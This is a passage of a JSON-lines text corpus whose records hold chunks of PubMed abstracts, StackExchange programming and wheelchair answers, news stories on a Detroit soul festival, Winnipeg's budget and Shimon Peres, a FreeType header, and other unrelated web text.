oxidation and hydroiodic acid hydrolysis, respectively, of a choroidal melanoma obtained at enucleation. The results indicate eumelanin is the primary melanin type in posterior choroidal melanomas. The feasibility of these techniques in the detection of metastatic disease from ocular melanomas is discussed.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":417} {"contents":"Q:\n\nWheelchair on a 15% slope\n\nI'm about to take my friend on a trip. This friend is in a wheelchair. It's mostly flat pavement with one exception. There is 15% slope I will need to climb up and down. It's something like 300 meters but it seems quite steep.\nIs it reasonable to think this will be no problem at all? The wheelchair has brakes and is pretty light. The person does not have more than 65 kg. I would say I'm in good fitness form. The surface is asphalt.\nThanks,\nEndokr\n\nA:\n\nThe ADA specs in the USA call for a maximum grade of 1:12 (8.3%) for ramps. But many disabled people who don\u2019t have upper body strength find even this is too steep. So 15% for sure is too steep for most","metadata":{"pile_set_name":"StackExchange"},"id":418} {"contents":"people to do by themselves. Your friend may be a wheelchair triathlete, it\u2019s hard for us to know. \nFurthermore, the ADA also calls for landings every few yards. These are necessary rest areas with a zero grade. They are especially important if the wheelchair brakes won\u2019t hold on a steep grade because otherwise you might have a runaway chair. \nIt sounds like you\u2019re pushing. 15% is quite steep and 300 meters is quite a long run. Try to consider what will happen if you lose your grip or fall while pushing your friend up or down. Do they have enough strength and control to bring themselves to a full stop on such a grade? I\u2019d first practice with someone who is able bodied and able to leap out","metadata":{"pile_set_name":"StackExchange"},"id":419} {"contents":"of the chair if it goes out of control. \nMany tourism councils can refer you to a local power wheelchair or scooter rental office. Or can suggest an alternative route or hook you up with local paratransit options such as an accessible taxi service. \n\n","metadata":{"pile_set_name":"StackExchange"},"id":420} {"contents":"Molecular imprinting: developments and applications in the analytical chemistry field.\nIn analytical separation science, molecularly imprinted polymers have been applied in several analytical techniques, such as liquid chromatography, capillary electrochromatography and capillary electrophoresis, solid phase extraction, immunoassay, and as a selective sorbent in chemical sensors. A benefit of imprinted polymers is the possibility to prepare sorbents with selectivity pre-determined for a particular substance, or group of structural analogues. The application most close to a wider acceptance is probably that of solid phase extraction for clean-up of environmental and biological samples. The improved selectivity of imprinted polymers compared with conventional sorbents may lead to cleaner chromatographic traces in the subsequent analytical separation. Furthermore, the solid phase extraction application does not suffer from drawbacks generally associated with imprinted polymers in chromatography,","metadata":{"pile_set_name":"PubMed Abstracts"},"id":421} {"contents":"such as peak broadening and tailing. Most liquid chromatographic studies have focused on using imprinted polymers as chiral stationary phases for enantiomer separations. Also, the use of imprinted polymers as selective sorbents in capillary electrochromatography has been presented. For this purpose, a protocol to prepare superporous, monolithic imprinted polymer-based capillary columns has been developed. Due to the high affinities and selectivities often achievable, imprinted polymers have been considered as alternative binding entities in biosensors and in immunoassay type protocols. Here, high stability, easy preparation and ability to be used for assay of both aqueous and organic solvent based samples are advantages of the polymers.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":422} {"contents":"Hundreds of soul music enthusiasts from the United Kingdom plan to make their way to Detroit this month for a series of concerts.\n\nDetroit A-Go-Go, a festival organized by DJ Phil Dick, will take place Oct. 19-22 with 26 scheduled acts.\n\nThe festival is focused on what Dick calls the northern soul movement.\n\n\"We just love Detroit soul and Motown music,\" Dick said. \"It's been popular in England for decades. Every weekend, thousands of people go out and listen to this music in England.\"\n\nArtists booked for the festival include: The Elgins, Pat Lewis, Melvin Davis, The Velvelettes, The Contours, Kim Weston, Ronnie McNeir, The Capitols, Yvonne Vernee, JJ Barnes, Gino Washington, Spyder Turner, The Adorables, Lorraine Chandler, Eddie Parker, Dusty Wilson, The Precisions, The Professionals, The Tomangoes, The Fabulous Peps and","metadata":{"pile_set_name":"OpenWebText2"},"id":423} {"contents":"The Dynamics, according to their website.\n\nThe Hotel St. Regis is completely booked for 300 people traveling from the U.K., and shows will take place at Bert's Warehouse Theatre in Eastern Market and Motown Museum.\n\nAlthough many of the artists are known for their connections to Detroit, Dick said \"they're iconic to us in England.\"\n\nIt will be the first Detroit A-Go-Go event. Dick said he's organizing it to show his fellow Brits what Detroit is all about.\n\n\"I know it's had its problems, but I love Detroit and I love Detroit people... I want to see these artists perform in their hometown,\" he said. \"There's so many talented artists that a lot of people just pass it by and don't even know what they got.\"\n\nTickets, which can be purchased at Bert's","metadata":{"pile_set_name":"OpenWebText2"},"id":424} {"contents":"Warehouse or online, cost $28 per night or $98 for a full event pass. Each night will consist of five to six live acts plus DJs.\n\nLocal and international DJs will be spinning records at Hotel St. Regis throughout the day.\n\nView the schedule here.","metadata":{"pile_set_name":"OpenWebText2"},"id":425} {"contents":"\n\nThe Gossip Machine, Churning Out Cash - chrishenn\nhttp:\/\/www.nytimes.com\/2011\/05\/22\/us\/22gossip.html\n\n======\nchrishenn\nIt seems that there's a much bigger market for it now that content can be put\nonline quickly, at a much cheaper cost.\n\n _Posting more than 30 exclusive items a day is common. \u201cWe\u2019re trying to build\nwhat they call addicts online,\u201d Mr. Perel said_\n\nThe model thrives off super low quality content, yet the websites are able to\ngain diehard readers. Even some of my favorite websites and blogs are useless\nto me without their rss feed.\n\n","metadata":{"pile_set_name":"HackerNews"},"id":426} {"contents":"Q:\n\nSplitting entities vs. using transactions\n\nI have an entity with two types of properties:\n\nProperties that are updated by the user from a web page.\nProperties that are updated when a third-party service makes an API call to my app.\n\nIf my entity only had properties of the first type, I wouldn't use transactions to do updates because only a single user would ever be modifying the data.\nBecause a third-party service will be making calls that will also by updating the entity, there is now a risk of losing data if the user is making an edit at the same time as the API call.\nIt seems that to avoid data loss, I could do one of two things:\n\nUse transactions for all puts of this entity (they happen in a lot of different","metadata":{"pile_set_name":"StackExchange"},"id":427} {"contents":"places so it would be a fair bit of work), or\nSplit the entity in two where a first entity has properties of the first type that are updated without transactions and a second entity that has properties of the second type (that may be updated with transactions).\n\nI'm having trouble deciding which is the better option, and would appreciate advice.\n\nA:\n\nEven with entities split avoiding transactions for the web-interface modified entities might not be as clear\/easy as you might expect:\n\nthe user may attempt to modify the same entity from different sessions\/windows\/devices\nthe info displayed to the user right after it was modified might not be the one actually existing in the datastore due to eventual consistency\n\nIn other words it might be safer (and potentially easier, futureproof) to have transactions on the","metadata":{"pile_set_name":"StackExchange"},"id":428} {"contents":"user web interface as well.\nBut even if do that, it might still make sense to split the entitites if it makes sense for your app, it's a common technique, see:\n\nupdating an entity's property without retrieving the entity from the NDB\nGoogle App Engine Datastore entities. Efficiency and structure\nre-using an entity's ID for other entities of different kinds - sane idea?\n\n","metadata":{"pile_set_name":"StackExchange"},"id":429} {"contents":"Q:\n\nDoes solitary open() leave the file handle open?\n\nWill a single call to open() without assigning it to a variable close the file handle after it is done executing?\nimport json\n_keyfile = json.load(open(\"s3_key.json\", \"r\"))\n\nWhat about if you call .read() on it?\nimport json\n_keyfile = json.loads(open(\"s3_key.json\", \"r\").read())\n\nA:\n\nAs per the python docs, the file remains open until you call close() on the file object or the garbage collector kicks in and closes it for you.\nBecause of this, prefer to use context managers (i.e. the with statement) when reading files, as they will close the file for you.\nimport json\nwith open(\"s3_key.json\", \"r\") as f:\n _keyfile = json.load(f)\n# f is now closed\n\n","metadata":{"pile_set_name":"StackExchange"},"id":430} {"contents":"Follow UsFind us on social media\n\nThe Rock Works\n\nChoose a rock colour\n\nThe Pantone Matching System (PMS) is a uniform standard for colors. The swatches below will help you find a certain PMS colour for your rock. Please note that every computer monitor varies slightly in color. To insure an accurate colour match, you can consult a PMS solid coated swatch book.\n\nChoose a stripe colour\n\nThe Pantone Matching System (PMS) is a uniform standard for colors. The swatches below will help you find a certain PMS colour for your rock. Please note that every computer monitor varies slightly in color. To insure an accurate colour match, you can consult a PMS solid coated swatch book.","metadata":{"pile_set_name":"Pile-CC"},"id":431} {"contents":"Q:\n\nEntity Framework - How can I check whether an object is under another object's Hierarchy?\n\nI have an table called Contents. There's one to many relationship on Contents, so each content can have a parent and children. I'm using EF Code First, so I have an entity Content which has Id, ParentId, Parent and Children properties.\nNow, I'm building an ajax based tree of Contents. I have a simple action that returns a JSON of one level of Contents, based on parentId:\npublic JsonResult GetContents(int? parentId = null)\n{\n return Json(db.Contents\n .Where(p => p.ParentId == parentId)\n .Select(p => new\n {\n ","metadata":{"pile_set_name":"StackExchange"},"id":432} {"contents":" id = p.Id,\n name = p.Name\n });\n}\n\nThe next thing I want to do is to automatically select some value. The problem is that the value can be deep inside the hierarchy of the tree, so for each content I'll need to know whether or not the selected value is a child or grandchild and so forth, of it.\npublic JsonResult GetContents(int? parentId = null, int selectedValue)\n{\n return Json(db.Contents\n .Where(p => p.ParentId == parentId)\n .Select(p => new\n {\n ","metadata":{"pile_set_name":"StackExchange"},"id":433} {"contents":" id = p.Id,\n name = p.Name\n isSelectedValueUnderThisHierarchy: \/\/ How can I efficiently implement this? \n });\n}\n\nIt's easy to implement with a lot of queries, but I'm trying to make things as efficient as possible, and EF doesn't provide any Recursive methods as far as I know, so I really have no clue where to start.\n\nA:\n\nYou could first build a list of all the ParentIds from the selected value. Depending on the size of your Contents table, you could first load the data, then loop through without making extra queries to the database.\ndb.Contents.Load();\nvar selectedItem =","metadata":{"pile_set_name":"StackExchange"},"id":434} {"contents":"db.Contents.Find(selectedValue);\n\nvar parents = new List<int>();\nwhile (selectedItem.ParentId != null)\n{\n parents.Add(selectedItem.ParentId.Value);\n selectedItem = selectedItem.Parent;\n} \n\nAlternatively, you could use CTE (Common Table Expression).\nvar parents = db.Database.SqlQuery<int>(\"sql statement\");\n\nOnce you have a list of parents, you can use Contains.\nreturn Json(db.Contents\n .Where(p => p.ParentId == parentId)\n .Select(p => new\n {\n id = p.Id,\n name = p.Name\n isSelectedValueUnderThisHierarchy = p.ParentId.HasValue && parents.Contains(p.ParentId.Value)\n });\n\nUPDATE: CTE Example\nYou'd probably want to use a stored procedure, but this code should work.\nvar sql = @\"with CTE as\n (\n ","metadata":{"pile_set_name":"StackExchange"},"id":435} {"contents":"select ParentId\n from Contents\n where Id = {0}\n union all\n select Contents.ParentId\n from Contents\n inner join CTE on Contents.Id = CTE.ParentId \n )\n\n select *\n from CTE\n where ParentId is not null\";\nvar parents = db.Database.SqlQuery<int>(string.Format(sql, selectedItem)).ToList();\n\n","metadata":{"pile_set_name":"StackExchange"},"id":436} {"contents":"Now that\u2019s a punishment: club vice president sent to train with the reserves!\n\nFor almost an entire year, Gabriel Bostina has been playing a double role for Universitatea Cluj. Unfortunately for him, the position acquired in the club\u2019s board didn\u2019t earn him any favors from the technical staff, who recently punished the central midfielder. Twice. First of all, Bostina lost the armband during one of the training camps from Antalya for some unknown disciplinary problems and now the player & vice president has suffered further embarrassment being sent to train with the reservers \u201cfor an unlimited period\u201d.\n\nCurrently injured, he failed to show up for the weekend training sessions that were going to be supervised by the club\u2019s medical staff, so the former Otelul, Steaua and Dinamo man is now","metadata":{"pile_set_name":"Pile-CC"},"id":437} {"contents":"part of a team that plays in the Romanian third tier. The decision belongs to Ionut Badea, the coach, and the club owner is yet to take a stand. Wouldn\u2019t make sense to see the vice president banned as well from the board meetings and ask to babysit the other members\u2019 kids while the grown-ups discuss professionally about the club\u2019s present and future?\n\nRadu Baicu\n\n\u2022 15 years of continuous work in scouting, for top clubs and companies;\n\u2022 Worked for clubs like Bayer 04 Leverkusen and Hannover 96, covering the Romanian market;\n\u2022 Worked for Birmingham based company \u2018The Scouting Network\u2019 (www.tsn.co.uk) as a football scout;\n\u2022 Worked for Zurich based company Boutique Football as a scouting network coordinator;\n\u2022 International scout for Young Boys Bern for 2 years, covering Eastern European football.\n\u2022","metadata":{"pile_set_name":"Pile-CC"},"id":438} {"contents":"Working for the past 5 years as an international scout for a top French club.","metadata":{"pile_set_name":"Pile-CC"},"id":439} {"contents":"Rarely does a story involving Immigration and Customs Enforcement, explosives, and a man trying to escape his own sense of inadequacy through law enforcement cosplay end in anything but tragedy for innocent parties, so please allow me to relay to you an incredible tale about how one sad man\u2019s fantasy\u2014guns, improvised explosives, and a desire to align himself with a racist agency\u2014spun out of control and landed him in jail.\n\nAdvertisement\n\nThe Sacramento Beereports that, for months!, 26-year-old Matthew Johnston posed as an ICE agent to impress his girlfriend, parents, daughter, and friends. Now, however, he will be spending the next two years in federal prison after he pled guilty to possessing an unregistered explosive. Poor guy.\n\nJohnston was so committed to the role, the Sacramento Bee reports, that he had","metadata":{"pile_set_name":"Pile-CC"},"id":440} {"contents":"ICE badges, uniforms, and red and blue police lights:\n\nNearly all the trappings of Johnston\u2019s life in Fontana, California, suggested he had a job with the federal law enforcement agency, according to court records: He wore ICE badges and uniforms. He used blue and red police lights on his car. He had a tactical vest that said \u201cfederal agent.\u201d Johnston described his job on Facebook as \u201cfugitive apprehension\u201d for the Department of Homeland Security, which includes ICE.\n\nAdvertisement\n\nHe lived the life well:\n\nHe once flashed his fake police lights to pursue another car, which caused a collision, prosecutors said. On another occasion, he posed as an ICE agent to speak with someone about a possible undocumented person. Johnston also bragged that he was an ICE agent to patrons and workers at","metadata":{"pile_set_name":"Pile-CC"},"id":441} {"contents":"D\u00e9j\u00e0 Vu Showgirls, a strip club in Industry, California, prosecutors said.\n\nMysteryVibe\u2019s Crescendo Is An INSANELY Versatile Vibrator for Literally...\n\nBut Johnston\u2019s lie came undone last October, after a cop pulled his girlfriend over at a traffic stop after she accidentally turned on the fake police lights in her boyfriend\u2019s Audi. The officer followed up with ICE to verify the woman\u2019s claim that Johnston was an agent with the Department of Homeland Security, but found no such record.\n\nFrom there, things got worse for our man Johnston. About a week later, real federal agents showed up at his home with a search warrant \u201cand uncovered 32 firearms, about 10,000 rounds of ammunition, cannon fuses, homemade rocket launchers, homemade rockets and other destructive devices.\u201d\n\nAdvertisement\n\nThere\u2019s more! According to prosecutors, officials also found \u201ca","metadata":{"pile_set_name":"Pile-CC"},"id":442} {"contents":"host of homemade explosives \u2014 including five unexploded or semi-exploded improvised devices, what was left of an exploded pipe bomb and an expended smoke grenade\u201d in a stockpile Johnston hid in the desert.\n\nLike every story about male inadequacy, Johnston tried to justify his illicit actions and criminal behavior by saying that a woman once embarrassed him:\n\nWhen officers spoke to Johnston that day, he said he pretended to be an ICE agent \u201cbecause his ex-wife had insulted him in front of his daughter and told his daughter that he had done nothing with his life.\u201d He decided to concoct the ICE story \u201cto show everyone that he was \u2018somebody\u2019 and had done something with his life,\u201d he said, according to court records.\n\nAdvertisement\n\nNow poor Matthew Johnston will never realize his","metadata":{"pile_set_name":"Pile-CC"},"id":443} {"contents":"full fantasy, which apparently included the ability to racially profile people of color without impunity and help tear apart families. Bye! Read the full, incredible report here.","metadata":{"pile_set_name":"Pile-CC"},"id":444} {"contents":"\/***************************************************************************\/\r\n\/* *\/\r\n\/* svpostnm.h ","metadata":{"pile_set_name":"Github"},"id":445} {"contents":" *\/\r\n\/* *\/\r\n\/* The FreeType PostScript name services (specification). *\/\r\n\/* ","metadata":{"pile_set_name":"Github"},"id":446} {"contents":" *\/\r\n\/* Copyright 2003, 2007 by *\/\r\n\/* David Turner, Robert Wilhelm, and Werner Lemberg. ","metadata":{"pile_set_name":"Github"},"id":447} {"contents":" *\/\r\n\/* *\/\r\n\/* This file is part of the FreeType project, and may only be used, *\/\r\n\/* modified, and distributed under the terms of the FreeType project *\/\r\n\/* license, LICENSE.TXT. By continuing to use, modify, or distribute","metadata":{"pile_set_name":"Github"},"id":448} {"contents":" *\/\r\n\/* this file you indicate that you have read the license and *\/\r\n\/* understand and accept it fully. *\/\r\n\/* ","metadata":{"pile_set_name":"Github"},"id":449} {"contents":" *\/\r\n\/***************************************************************************\/\r\n\r\n\r\n#ifndef __SVPOSTNM_H__\r\n#define __SVPOSTNM_H__\r\n\r\n#include FT_INTERNAL_SERVICE_H\r\n\r\n\r\nFT_BEGIN_HEADER\r\n\r\n \/*\r\n * A trivial service used to retrieve the PostScript name of a given\r\n * font when available. The `get_name' field should never be NULL.\r\n *\r\n * The corresponding function can return NULL to indicate that the\r\n * PostScript name is not available.\r\n *\r\n * The name is owned by the face and will be destroyed with it.\r\n *\/\r\n\r\n#define FT_SERVICE_ID_POSTSCRIPT_FONT_NAME \"postscript-font-name\"\r\n\r\n\r\n typedef const char*\r\n (*FT_PsName_GetFunc)( FT_Face face );\r\n\r\n\r\n FT_DEFINE_SERVICE( PsFontName )\r\n {\r\n ","metadata":{"pile_set_name":"Github"},"id":450} {"contents":" FT_PsName_GetFunc get_ps_font_name;\r\n };\r\n\r\n \/* *\/\r\n\r\n\r\nFT_END_HEADER\r\n\r\n\r\n#endif \/* __SVPOSTNM_H__ *\/\r\n\r\n\r\n\/* END *\/\r\n","metadata":{"pile_set_name":"Github"},"id":451} {"contents":"Expanding indications for deep brain stimulation.\nIt has been three decades since the first application of deep brain stimulation (DBS) for tremors was described by Benabid. Over the years, the indications for the performance of DBS have been expanding. There are now more than 1,50,000 patients around the world who have undergone DBS for various disorders. The main appeal of DBS is in its reversibility and titratability. Though the initial interest in DBS was for pain, the main indications for DBS have been movement disorders. Despite its wide appeal and \"perceived\" advantage, United States Food and Drug Administration, the nodal agency for approving therapies, has been cautious and guarded in providing approvals. Only two indications, i.e., Parkinson's disease and tremors, have been approved; the two other indications, i.e., dystonia","metadata":{"pile_set_name":"PubMed Abstracts"},"id":452} {"contents":"and obsessive compulsive disorder (OCD), have been granted exemption under the humanitarian device usage. However, the European community has been more liberal and several of these indications have CE (Conformite Europeene) approval. Most of them will be reviewed in this article. There have been numerous indications for which DBS has been applied, which in turn has helped to change the lives of several patients. Unfortunately, due to the paucity of the number of procedures performed and the inherent difficulty in conducting \"surgical\" double blind randomized trials, Class 1 or Class 2 evidence for several of these indications is lacking. Hence, it is advisable that one does not embark on using each and any target for each and any indication without having the understanding or the team backup. It","metadata":{"pile_set_name":"PubMed Abstracts"},"id":453} {"contents":"is cautionary that most of these therapies should be conducted in an institutional setting with an ethics and scientific committee backup and ably assisted by an experienced team.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":454} {"contents":"Christopher Caldwell (government official)\n\nChristopher Caldwell is an American political aide and government official, currently serving as the Federal Co-Chairman of the Delta Regional Authority. Caldwell previously served as the director of special projects for U.S. Senator John Boozman. The DRA is responsible for bolstering economic development in a 252-county region of the Mississippi Delta spanning eight states. Caldwell served as campaign manager for Boozman's 2016 re-election campaign and as the political director for Boozman's 2010 U.S. Senate campaign. He has also served on several other campaigns, including Mike Huckabee's 2007 presidential bid and Tim Hutchinson's 2002 U.S. Senate campaign. The U.S. Senate confirmed Caldwell's nomination to the DRA in December 2017 and he was sworn in to office on January 12, 2018.\n\nReferences\n\nCategory:Living people\nCategory:People from Little Rock, Arkansas\nCategory:Arkansas","metadata":{"pile_set_name":"Wikipedia (en)"},"id":455} {"contents":"Republicans\nCategory:Trump administration personnel\nCategory:University of Arkansas alumni\nCategory:1963 births","metadata":{"pile_set_name":"Wikipedia (en)"},"id":456} {"contents":"--param-CPreProcessor:_expand=1\n--fields-C=+{macrodef}\n--fields=+Ss\n--sort=no\n# Override the defintion in the input file.\n-DS=float\n","metadata":{"pile_set_name":"Github"},"id":457} {"contents":"David Young\n\nDavid Young is a graduate of the City University MA Crime Writing course and was the recent winner of the PFD-sponsored course prize. He was born in Hull and educated in York and Bristol. Before becoming a full-time author he was a local news reporter and then an editor in the BBC World TV and radio newsrooms.\n\nHis debut novel, Stasi Child, a labyrinthine Cold War-era thriller and the first in a trilogy, was published in October 2015, by Twenty7 Books (Bonnier).\n\n- Contact -\n\nEast Germany, 1975. Karin M\u00fcller, sidelined from the murder squad in Berlin, jumps at the chance to be sent south to Halle-Neustadt, where a pair of infant twins have gone missing.\n\nBut M\u00fcller soon finds her problems have followed her. Halle-Neustadt is a new town \u2013","metadata":{"pile_set_name":"Pile-CC"},"id":458} {"contents":"the pride of the communist state \u2013 and she and her team are forbidden by the Stasi from publicising the disappearances, lest they tarnish the town\u2019s flawless image.\n\nMeanwhile, in the eerily nameless streets and tower blocks, a child snatcher lurks, and the clock is ticking to rescue the twins alive . . .\n\nWhen Oberleutnant Karin M\u00fcller is called to investigate a teenage girl\u2019s body at the foot of the Wall, she imagines she\u2019s seen it all before. But when she arrives she realises this is a death like no other: it seems the girl was trying to escape \u2013 but from the West.\n\nM\u00fcller is a member of the People\u2019s Police, but in East Germany her power only stretches so far. The Stasi want her to discover the identity","metadata":{"pile_set_name":"Pile-CC"},"id":459} {"contents":"of the girl, but assure her the case is otherwise closed \u2013 and strongly discourage her asking questions.\n\nThe evidence doesn\u2019t add up, and M\u00fcller soon realises the crime scene has been staged. But this is not a regime that tolerates a curious mind, and M\u00fcller doesn\u2019t realise that the trail she\u2019s following will lead her dangerously close to home . . .","metadata":{"pile_set_name":"Pile-CC"},"id":460} {"contents":"If this is your first visit, be sure to\ncheck out the FAQ by clicking the\nlink above. You may have to register\nbefore you can post: click the register link above to proceed. To start viewing messages,\nselect the forum that you want to visit from the selection below.\n\nWelcome to Mac-Forums! Join us to comment and to customize your site experience! Members have access to different forum appearance options, and many more functions.\n\nOS X: Ok, so why is it that Mac OS X's Zoom button doesn't enlarge windows so that they fill the screen?\n\nApple's philosophy is that a maximized environment is inherintly inefficent since it makes dragging content from one window to another extremely cumbersome (read the section on Drag and Drop). Many types of documents are vertically oriented (like a","metadata":{"pile_set_name":"Pile-CC"},"id":461} {"contents":"printed page) yet monitors are wider than they are tall. So\u2014for instance\u2014 it doesn't make sense for a word processing document to fill the width of the screen.\n\nThe Zoom button toggles its window between 2 states, the standard state and the user state. The standard state is determined by the manufacturer of the program being used. Apple's User Interface Guidelines provides this sensible direction to programmers for deciding the standard state of a window.\"\n\nI just figured this out right now and knew where to come to get some help. I experienced this in a Mac Store when trying to maximize a window. How can you change it so it maximizes like on Windows XP? If i bought a mac, i would find this quite irritating.\n\nJust change the window","metadata":{"pile_set_name":"Pile-CC"},"id":462} {"contents":"size once manually for each program when you buy the Mac and you'll never have to do it again for those programs. It's annoying, yes, and I know no way around it. But it doesn't annoy me anymore because I resized all the windows when I got my Mac and now they don't give me any more problems.\n\nIf anybody knows a way to make it so that the zoom button maximizes, that would be great...","metadata":{"pile_set_name":"Pile-CC"},"id":463} {"contents":"Alle Corone restaurant\n\nAt \u201cAlle Corone\u201d Restaurant you will discover the real authentic flavors of our genuine products, prepared in accordance with our precious recipes. You will also discover the pleasure of savoring the best ingredients that our land can offer, following an itinerary of gastronomic excellence that, depending on the season, will take you from the starters to dessert.The bread, the homemade pasta and the desserts we serve all come straight out of our kitchen.","metadata":{"pile_set_name":"Pile-CC"},"id":464} {"contents":"Winnipeg homeowners will pay 2.33 per cent more in property tax and see a cut to road repairs in the 2019 budget passed by city council at a special meeting Wednesday.\n\nThe 2.33 per cent tax increase will mean the average household will pay about $40 more on their property tax bill. The money is slated to go to infrastructure spending.\n\n\"We have to build this city for the future,\" said Mayor Brian Bowman. \"This budget moves us in the right direction but not as fast as I'd like in terms of [road spending].\"\n\nThere is no frontage levy increase in 2019 and there are no new fees or charges included in the budget.\n\nWhile tweaks were made to the spending plan since it was tabled March 1, the bulk of the","metadata":{"pile_set_name":"OpenWebText2"},"id":465} {"contents":"document remains unchanged.\n\nThe budget now includes money to hire a supervisor of urban forestry in the public works department to plan and oversee the city's response to the emerald ash borer \u2014 an insect with a history of devastating populations of ash trees.\n\nThe budget will also see the one-time $500,000 funding cut to the Winnipeg Arts Council's public art program, which was proposed in the initial budget, spread out over two years \u2014 a $250,000 cut in 2019 and the same in 2020.\n\nWinnipeg plans to spend $86 million fixing its roads in 2019, down $30 million from the $116 million budgeted last year. The cut means spending on repairs for residential streets and lanes will be frozen this year.\n\nBowman argues the province still owes Winnipeg $40 million in","metadata":{"pile_set_name":"OpenWebText2"},"id":466} {"contents":"road renewal funding, and says that shortfall is behind the reduction in this year's road spending.\n\n2.33% hikes may not be sustainable: Bowman\n\nThe province's Progressive Conservative government denies any obligation to pay the $40 million and says there was a political commitment \u2014 by the previous NDP government \u2014 to fund a five-year roads plan.\n\n\"None of these political commitments bound a successor government,\" provincial Municipal Relations Minister Jeff Wharton said in an open letter to Bowman on Monday.\n\nCity council finance chair Scott Gillingham (St. James) argues the Tory government, by funding the third and fourth years of the five-year program, committed itself to the road renewal funding plan for its fifth year.\n\nDuring the 2018 mayoral campaign, Bowman pledged to keep property tax increases to 2.33 per cent per year","metadata":{"pile_set_name":"OpenWebText2"},"id":467} {"contents":"over the next four years \u2014 provided the province didn't reduce its funding to the city.\n\nHe said Wednesday property taxes may go up more than that in the coming years if the city does not get more help from Manitoba.\n\n\"I'm unsure whether this is a sustainable approach going forward,\" he said. \"My campaign commitment was 2.33 per cent unless there's new incremental cuts from the province.\"\n\nThe budget also includes a promise of a low-income bus pass, money for bus safety improvements and a freeze on transit fares.\n\nBoth the operating and capital budgets for 2019 were approved in an 11-5 vote at Wednesday's meeting.\n\nCouncillors Kevin Klein (Charleswood\u2013Tuxedo\u2013Westwood), Janice Lukes (Waverley West), Shawn Nason (Transcona), Ross Eadie (Mynarski) and Jason Schreyer (Elmwood) voted against the plan.\n\nA separate clause in the","metadata":{"pile_set_name":"OpenWebText2"},"id":468} {"contents":"budget proposed using part of the 2.33 per cent property tax increase to fix bridges, along with roads and building rapid transit. The clause was approved in a 12-4 vote.","metadata":{"pile_set_name":"OpenWebText2"},"id":469} {"contents":"Regulating intensity using perceived exertion in spinal cord-injured participants.\nTo examine the validity of perception-based intensity regulation during handcycling exercise. Eight spinal cord-injured (T11 incomplete to T4 complete) participants completed an incremental exercise test followed by a (.)VO2peak test using a sports hand bike. Subsequently, two 20-min exercise tests were completed at an individualized power output (PO) at moderate and vigorous intensities (50% and 70% of (.)VO2peak, respectively). On a separate occasion, participants were instructed to produce and maintain a workload equivalent to the average RPE for the 20-min imposed condition in a counterbalanced order. The (.)VO2 and blood lactate concentration [BLa(-)] were measured every 10 min, and HR and PO were measured at 1-min intervals. There were no differences in average (.)VO2, percent V O2peak, HR, PO, and","metadata":{"pile_set_name":"PubMed Abstracts"},"id":470} {"contents":"[BLa(-)] between the imposed PO conditions and RPE-regulated trials of either exercise intensity. Although PO increased slightly during the moderate-intensity RPE-regulated trial (P < 0.04), it remained relatively constant in the vigorous RPE-regulated trial. However, there was a tendency for PO to be slightly higher (P = 0.07) in the vigorous RPE-regulated trial. These data suggest that RPE is effective in controlling moderate and vigorous intensities throughout a 20-min handcycling exercise session for SCI participants.","metadata":{"pile_set_name":"PubMed Abstracts"},"id":471} {"contents":"Shimon Peres, a former Israeli president and a towering figure who concluded the Oslo Accords during his term as Foreign minister, died Tuesday at age 93.\nFor many Israelis, Peres is regarded as the founding generation who assisted in the establishment of the Jewish State. The groundbreaking, first-time-ever peace agreement between Israel and Palestine was also signed under his pen.\nPalestinian president Mahmoud Abbas told the i24News that \u201cPeres\u2019 death is a great loss to humanity and the region.\u201d\nBut he remains as a controversial figure among Palestinians. He was also unloved by right-wing Israelis for his trying to promote peace between two sides, which prevented him to break into the prime minister's post.\n\u201cFor the Palestinians, he will be seen as the man who has not implemented the Oslo Accords,\u201d Leila","metadata":{"pile_set_name":"Pile-CC"},"id":472} {"contents":"Shahid, the former Palestinian ambassador in the European Union, commented in an interview on France Info on Wednesday.\nDiana Buttu, a former Palestinian peace negotiator commented that many will remember Peres as a \u201cwar criminal\u201d.\n\u201cHe's somebody who believed in the ethnic cleansing of Palestine,\u201d added Buttu.\nAl Jazeera's Middle East analyst Yehia Ghanem said in an interview that \u201cpeople who are praising him [Peres] supported Israel and all of its crimes throughout its history.\u201d Referring to the 1996 Qana Massacre, which killed at least 106 people in a village in Southern Lebanon, he described the bloodshed as a war crime followed by Peres\u2019 command as the Prime Minister.\nAfter the announcement of his death by his son, world leaders pay tribute on Wednesday.\nCalling him \u201ca soldier for Israel\u201d and \u201ca friend\u201d,","metadata":{"pile_set_name":"Pile-CC"},"id":473} {"contents":"US president Barack Obama expressed his sorrow in a White House statement that he felt the Americans are \u201cin his debt\u201d. He praised Peres\u2019 diplomatic efforts on bringing together Israel and the US: \u201cno one did more over so many years as Shimon Peres to build the alliance between our two countries\u201d.\nHe was hailed as the \u201cpolitical giant\u201d by Former British Prime Minister Tony Blair, and \u201can optimist about the prospects for reconciliation and peace\u201d by UN Secretary General Ban Ki-moon.\nPeres won the 1994 Nobel Peace Prize laureate, jointly with Prime Minister Yitzhak Rabin and the former Palestinian president Yasser Arafat, for their role in negotiating the Oslo Accords. It was aimed to the achievement of an independent Palestinian state.\nHe spent the first half of his political life","metadata":{"pile_set_name":"Pile-CC"},"id":474} {"contents":"ensuring Israeli military might and security, appointed several times to crucial roles such as Foreign minister and Defense minister.\nDuring the 1950s, he reached a secret agreement with France to build a nuclear reactor at Dimona in the Negev desert. According to the US-based Nuclear Threat Initiative, the nuclear power reactor can produce estimated 100 and 200 nuclear warheads and remains as the biggest and sole nuclear armed-power in the Middle East.\nPeres dedicated the second half in pursuit of bringing peace to his country. Before taken up the post of the ninth president of Israel in 2007, he served twice as prime minister, first between 1984 and 1986 with Likud; then later again after the assassination of former Prime Minister Yitzhak Rabin in 1995.\nHe stayed in power until 1996","metadata":{"pile_set_name":"Pile-CC"},"id":475} {"contents":"when he lost the election to Benjamin Netanyahu whom has been in premiership up to date.\nIn his later years, he became Israel's moderate face under the hardheaded leadership of Netanyahu. He insisted many times that peace between Israel and Palestine is around the corner and will not hesitate \u201cto extend my life for a year or two\u201d to promote that goal, told Peres in a 2013 interview.\nHe once spoke at the UN that \u201cThe time has come to comprehend that the real triumph is in the harvest of peace, not in the seeds of another war.\u201d\nHowever, he never had been fully entrusted by Israeli voters.\n\u201cAt the ballot box they preferred a stern right winger in government,\u201dconcluded analyst Anshel Pfeffer. That is to say, today Peres\u2019 death might lead","metadata":{"pile_set_name":"Pile-CC"},"id":476} {"contents":"to an end to the last flicker of hope in bringing the already tightened Israeli-Palestinian conflict into 